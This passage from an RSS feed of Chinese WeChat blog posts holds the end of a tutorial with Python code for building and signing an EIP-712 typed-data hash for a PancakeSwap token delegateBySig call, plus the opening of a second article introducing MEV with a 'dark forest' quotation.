&#39;<a href="https://api.bscscan.com/api?module=contract&amp;action=getabi&amp;address={0}&amp;apikey=" target="_blank">https://api.bscscan.com/api?module=contract&amp;action=getabi&amp;address={0}&amp;apikey=</a>&#39; + api_key</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">private_key = &#39;xxxx&#39;</span></code><code><span class="code-snippet_outer">op_account = Account.from_key(private_key)</span></code><code><span class="code-snippet_outer">user_addr = op_account.address</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def get_contract_abi(contract_address, step=0):</span></code><code><span class="code-snippet_outer">    &#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    get contract abi from bsc api</span></code><code><span class="code-snippet_outer">    :param contract_address:</span></code><code><span class="code-snippet_outer">    :param step:</span></code><code><span class="code-snippet_outer">    :return:</span></code><code><span class="code-snippet_outer">    &#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    get_abi_url = get_abi_url_temp.format(contract_address)</span></code><code><span class="code-snippet_outer">    try:</span></code><code><span class="code-snippet_outer">        res = requests.get(get_abi_url).text</span></code><code><span class="code-snippet_outer">        res = json.loads(res)</span></code><code><span class="code-snippet_outer">        abi_res = res[&#39;result&#39;]</span></code><code><span class="code-snippet_outer">        return abi_res</span></code><code><span class="code-snippet_outer">    except Exception as e:</span></code><code><span class="code-snippet_outer">        print(e)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def to_32byte_hex(val):</span></code><code><span class="code-snippet_outer">    return Web3.toHex(Web3.toBytes(val).rjust(32, b&#39;\0&#39;))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">abi = get_contract_abi(contract_addr)</span></code><code><span class="code-snippet_outer"># contract instance</span></code><code><span class="code-snippet_outer">contract = w3.eth.contract(address=contract_addr, abi=abi)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># 过期时间，防止被利用</span></code><code><span class="code-snippet_outer">expire_time = int(time.time()) + 600</span></code><code><span class="code-snippet_outer"># 防止用户在同一个合约的不同授权出现一样的结果</span></code><code><span class="code-snippet_outer">user_nonces = contract.functions.nonces(user_addr).call()</span></code><code><span class="code-snippet_outer">chain_id = w3.eth.chain_id</span></code><code><span class="code-snippet_outer"># 随便挑选个地址</span></code><code><span class="code-snippet_outer">delegation_addr = &#39;0xe2C8f362154aacE6144Cb9d96f45b9568e0Ea721&#39;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># -----------替换开始-----------</span></code><code><span class="code-snippet_outer"># 按照合约里的变量赋值</span></code><code><span class="code-snippet_outer">DOMAIN_TYPEHASH = Web3.keccak(text=&#34;EIP712Domain(string name,uint256 chainId,address verifyingContract)&#34;);</span></code><code><span class="code-snippet_outer">DELEGATION_TYPEHASH = Web3.keccak(text=&#34;Delegation(address delegatee,uint256 nonce,uint256 expiry)&#34;)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># 进行abi encode</span></code><code><span class="code-snippet_outer">domain_abi_encode = encode_abi([&#39;bytes32&#39;, &#39;bytes32&#39;, &#39;uint&#39;, &#39;address&#39;], [DOMAIN_TYPEHASH, Web3.keccak(text=&#39;PancakeSwap Token&#39;), chain_id, contract_addr]).hex()</span></code><code><span class="code-snippet_outer">delegation_abi_encode = encode_abi([&#39;bytes32&#39;, &#39;address&#39;, &#39;uint256&#39;, &#39;uint256&#39;], [DELEGATION_TYPEHASH, delegation_addr, user_nonces, expire_time]).hex()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">domain_separator = Web3.keccak(hexstr=domain_abi_encode)</span></code><code><span class="code-snippet_outer">struct_hash = Web3.keccak(hexstr=delegation_abi_encode)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># get signable hash</span></code><code><span class="code-snippet_outer">msg = Web3.solidityKeccak([&#39;bytes&#39;, &#39;bytes32&#39;, &#39;bytes32&#39;], [b&#39;\x19\x01&#39;, domain_separator, struct_hash]).hex()</span></code><code><span class="code-snippet_outer"># -----------替换结束-----------</span></code><code><span class="code-snippet_outer">print(msg)</span></code><code><span class="code-snippet_outer"># sign the eip712 hash</span></code><code><span class="code-snippet_outer">attribDict = w3.eth.account.signHash(msg, private_key=private_key)</span></code><code><span class="code-snippet_outer"># 或者使用</span></code><code><span class="code-snippet_outer">&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">signable_msg = SignableMessage(version=b&#39;\x01&#39;, header=domain_seperator, body=struct_hash)</span></code><code><span class="code-snippet_outer">attribDict1 = w3.eth.account.sign_message(signable_message=signable_msg, private_key=private_key)</span></code><code><span class="code-snippet_outer">&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">r = to_32byte_hex(attribDict[&#39;r&#39;])</span></code><code><span class="code-snippet_outer">s = to_32byte_hex(attribDict[&#39;s&#39;])</span></code><code><span class="code-snippet_outer">v = attribDict[&#39;v&#39;]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(&#34;user_addr: &#34; + user_addr)</span></code><code><span class="code-snippet_outer">print(&#34;delegation: &#34; + delegation_addr)</span></code><code><span class="code-snippet_outer">print(&#34;expiry: &#34; + str(expire_time))</span></code><code><span class="code-snippet_outer">print(&#34;nonces: &#34; + str(user_nonces))</span></code><code><span class="code-snippet_outer">print(&#34;r: &#34; + r)</span></code><code><span class="code-snippet_outer">print(&#34;s: &#34; + s)</span></code><code><span class="code-snippet_outer">print(&#34;v: &#34; + str(v))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># 发送交易</span></code><code><span class="code-snippet_outer">unsigned_tx = contract.functions.delegateBySig(delegation_addr, user_nonces, expire_time, v, r, s).buildTransaction({</span></code><code><span class="code-snippet_outer">    &#39;gas&#39;: 100000,</span></code><code><span class="code-snippet_outer">    &#39;gasPrice&#39;: w3.toWei(&#39;6&#39;, &#39;gwei&#39;),</span></code><code><span class="code-snippet_outer">    &#39;nonce&#39;: w3.eth.get_transaction_count(user_addr),</span></code><code><span class="code-snippet_outer">    &#39;chainId&#39;: w3.eth.chain_id</span></code><code><span class="code-snippet_outer">})</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">signed_tx = op_account.sign_transaction(unsigned_tx)</span></code><code><span class="code-snippet_outer">tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction).hex()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(&#34;transaction hash: &#34; + tx)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># 获取ecrecover后的签名者并验证是否与签名者相同</span></code><code><span class="code-snippet_outer">transaction_log = w3.eth.wait_for_transaction_receipt(tx)</span></code><code><span class="code-snippet_outer">signatory = transaction_log.logs[0].topics[1].hex()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(&#34;signatory: &#34; + signatory)</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="box-sizing: border-box;color: rgb(84, 84, 84);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 4;text-align: justify;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">从上述代码可以看出，该代码就是将solidity中的代码复现一遍，好处就是可以按照合约代码来，不需要做过多的理解，坏处就是不直观和繁琐。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">2、简便式</span></strong></p><p style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">利用已经有的 eip712-struct 库</span><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">安装 eip712-structs。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">pip install eip712-structs</span></p><p style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">使用 eip712-structs 库的代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">from eip712_structs import EIP712Struct, Address, String, Uint, Bytes</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class EIP712Domain(EIP712Struct):</span></code><code><span class="code-snippet_outer">    name = String()</span></code><code><span class="code-snippet_outer">    chainId = Uint(256)</span></code><code><span class="code-snippet_outer">    verifyingContract = Address()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"># 如果遇到保留关键字作为名称，可以使用：</span></code><code><span class="code-snippet_outer"># setattr(Delegation, &#39;from&#39;, Address())</span></code><code><span class="code-snippet_outer"># my_struct.values[&#39;from&#39;] = user_addr</span></code><code><span class="code-snippet_outer">class Delegation(EIP712Struct):</span></code><code><span class="code-snippet_outer">    delegatee = Address()</span></code><code><span class="code-snippet_outer">    nonce = Uint(256)</span></code><code><span class="code-snippet_outer">    expiry = Uint(256)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">my_domain = EIP712Domain(name=&#39;PancakeSwap Token&#39;, chainId=chain_id, verifyingContract=contract_addr)</span></code><code><span class="code-snippet_outer">my_struct = Delegation(delegatee=delegation_addr, nonce=user_nonces, expiry=expire_time)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">msg = Web3.keccak(hexstr=my_struct.signable_bytes(my_domain).hex()).hex()</span></code></pre></section><section style="box-sizing: border-box;orphans: 4;margin: 0px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><br/></section><section style="box-sizing: border-box;orphans: 4;margin: 0px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">上述代码就能很直接和轻松的获取可签名的msg，将该代码放到傻瓜式代码中的替换处，运行就可获得同样的结果。</span></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 26px;height: 32px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.2307692307692308" data-w="52" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ff82ac7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQuYHyqum16C38dxacArBoprbEpPyYhAywPWL5hOjicAyNf49L6RgDTD88dl2uDNEEtFUbEexw5z7oLObo5vRNibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 13px;height: 13px;align-self: flex-start;margin-bottom: -13px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-type="png" data-w="26" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd19117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fx9316AdmojhCJUicU59yGKU5XEbqbLxI9dN9qJIv94FtNibJgalwSRPOX4iaz0CiaE7WHicibwyJWUuOhDYWAJNZia9gw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 35px;height: 32px;background: rgb(57, 57, 57);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;" data-mid=""><span style="font-size: 18px;">五</span></p></section><section style="height: 32px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 15px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(57, 57, 57);line-height: 32px;" data-mid=""><span style="font-size: 18px;">总结</span></p></section></section></section></section></section><section style="box-sizing: border-box;orphans: 4;margin: 32px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">EIP712是一个用比较简单的方法实现可视化的结构数据签名，使用domainSepatator作为域分割符，让用户在不同的合约、不同的链上签出来的数据是不同的；再在 message 中添加自定义的数据和标识符，让用户知道自己在签署什么，并保证时效和唯一。</span></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 61px;height: 10px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.16393442622950818" style="display: block;" data-type="png" data-w="122" src="https://wechat2rss.xlab.app/img-proxy/?k=dcf6b46f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPPBibXczyTGQLbQ7DDcF2D79CDScRMVVJYNfVfgrEMmoYPUvWmvwibSeWS6pWwzLL5QcRkiaMXnVrJZEFFLoQ3oHA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><br/></p><section style="box-sizing: border-box;orphans: 4;margin: 0px 16px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;"><strong><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">参考：</span></strong></section><section style="box-sizing: border-box;orphans: 4;margin: 0px 16px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">1.<a href="https://eips.ethereum.org/EIPS/eip-712" target="_blank">https://eips.ethereum.org/EIPS/eip-712</a></span></section><section style="box-sizing: border-box;orphans: 4;margin: 0px 16px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">2.<a href="https://github.com/ConsenSysMesh/py-eip712-structs" target="_blank">https://github.com/ConsenSysMesh/py-eip712-structs</a>  </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">  </span></section>



<p><a href="2247490099">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=760f4757&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247490099%26idx%3D1%26sn%3D1c7bd29670a52d640e62cddbef2e14db%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Jun 2022 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>走进区块链的第一步：mev浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35</link>
      <description>走进区块链的第一步:mev浅析</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-06-09 18:08</span> <span style="display: inline-block;">湖南</span>
</p>

<p>走进区块链的第一步:mev浅析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e6b2c428&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDa8VtDysjgkz95YBLNDrfVULWMR8hjT6LSCwZRUwwbENzml2o4f0UGQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin: 0px 1em;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section data-mid="" mpa-from-tpl="t" style="padding: 16px 13px 25px;border-width: 1px;border-style: solid;border-color: rgb(242, 242, 242);background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/9TDXfbkn3eibBvia9TgjpxrFMVWl2XUiaZFbxsNXBZ4tvIrXvYm7Py69OIa20hFP24zC4z0jtOsQHbcm3rgAU94zQ/640?wx_fmt=png&#34;) 0% 0% / 100% 100% no-repeat;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;"><section style="padding-bottom: 15px;width: 95%;border-bottom: 1px dashed black;margin-bottom: 18px;margin-top: -25.5px;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><p style="transform: translate(7px, 28px);font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #000000;line-height: 23px;letter-spacing: 18px;" data-mid=""><br/></p></section></section></section><section data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="530" data-cropsely1="0" data-cropsely2="406" data-ratio="0.56171875" style="display: block;width: 578px;height: 325px;border-radius: 3px;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=92aa95d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDldhjDs1XAE3eLIVLynGCdKDqxTEYjj6Qm9ROPPmQH2oHibxaJWXZcTw%2F640%3Fwx_fmt%3Djpeg"/></section><section style="transform: translate(10px, -30.1px);display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-self: flex-end;" data-mid="" mpa-from-tpl="t"><section style="background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(151, 151, 151);" data-mid="" mpa-from-tpl="t"><section style="transform: translate(-4px, -3px);padding: 5px 13px 8px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(151, 151, 151);display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin-right: 14px;padding-right: 11px;border-right: 1px solid rgb(74, 74, 74);display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin-right: 8px;width: 5px;height: 10px;" data-mid="" mpa-from-tpl="t"><br/></section><section data-mid="" mpa-from-tpl="t"><p style="font-size: 19px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #000000;line-height: 26px;" data-mid="">前  言</p></section></section></section></section></section><section style="margin-top: -20.5px;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: flex-start;width: 14px;height: 13px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9285714285714286" style="display: block;" data-type="png" data-w="56" src="https://wechat2rss.xlab.app/img-proxy/?k=578af4dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FqJUiaCjvX45VaRuJgGiaygicrCIEh2gnf4nlkLafyia8InFQO8EIQohPOibVYE9iaQGlGabySx3DBcWYVlb3ZES6OeoQ%2F640%3Fwx_fmt%3Dpng"/></section><p style="line-height: 1.75em;"><br/></p><section style="line-height: 2em;"><section style="margin: 0 10px;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="padding: 16px 13px 25px;border-width: 1px;border-style: solid;border-color: rgb(242, 242, 242);background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/9TDXfbkn3eibBvia9TgjpxrFMVWl2XUiaZFbxsNXBZ4tvIrXvYm7Py69OIa20hFP24zC4z0jtOsQHbcm3rgAU94zQ/640?wx_fmt=png&#34;) 0% 0% / 100% 100% no-repeat;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;"><section style="margin-top: -20.5px;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;text-align: justify;" data-mid="" mpa-from-tpl="t"><span style="color: rgb(66, 66, 66);letter-spacing: 1px;font-size: 15px;">宇宙就是一座黑暗森林，每个文明都是带枪的猎人，像幽灵般潜行于林间，轻轻拨开挡路的树枝，竭力不让脚步发出一点儿声音，连呼吸都小心翼翼……他必须小心，因为林中到处都有与他一样潜行的猎人。如果他发现了别的生命，不管是不是猎人，不管是天使还是魔鬼，不管是娇嫩的婴儿还是步履蹒跚的老人，也不管是天仙般的少女还是天神般的男孩，能做的只有一件事：开枪消灭之？在这片森林中，他人就是地狱，就是永恒的威胁，任何暴露自己存在的生命都将很快被消灭。这就是宇宙文明的图景，这就是对费米悖论的解释。</span><span style="color: rgb(66, 66, 66);letter-spacing: 1px;font-size: 15px;"><span style="font-family: Calibri;"></span></span><span style="color: rgb(66, 66, 66);letter-spacing: 1px;font-size: 15px;"><span style="font-family: Calibri;"> </span><span style="font-family: Calibri;">—— 刘慈欣《三体2：黑暗森林》</span></span></section></section></section></section><section style="align-self: flex-end;width: 14px;height: 1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9642857142857143" style="display: block;" data-type="png" data-w="56" src="https://wechat2rss.xlab.app/img-proxy/?k=b20fd175&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEibwNEfO4fDJqbS5kLKtufgUEFl2hDLb3PfWaVdciabPvibIia0R0caibWNa0cWysympBMjIGRWrYcKDjI2MF7vzog%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p style="margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><br/></p><p style="margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><br/></p><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在普通的交易者或者区块链使用者来说，区块链世界是美好的，因为它的去中心化机制和加密算法的安全性，以及矿工尽心尽力地打包交易，生产并广播区块，最终完成共识。</span></section><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 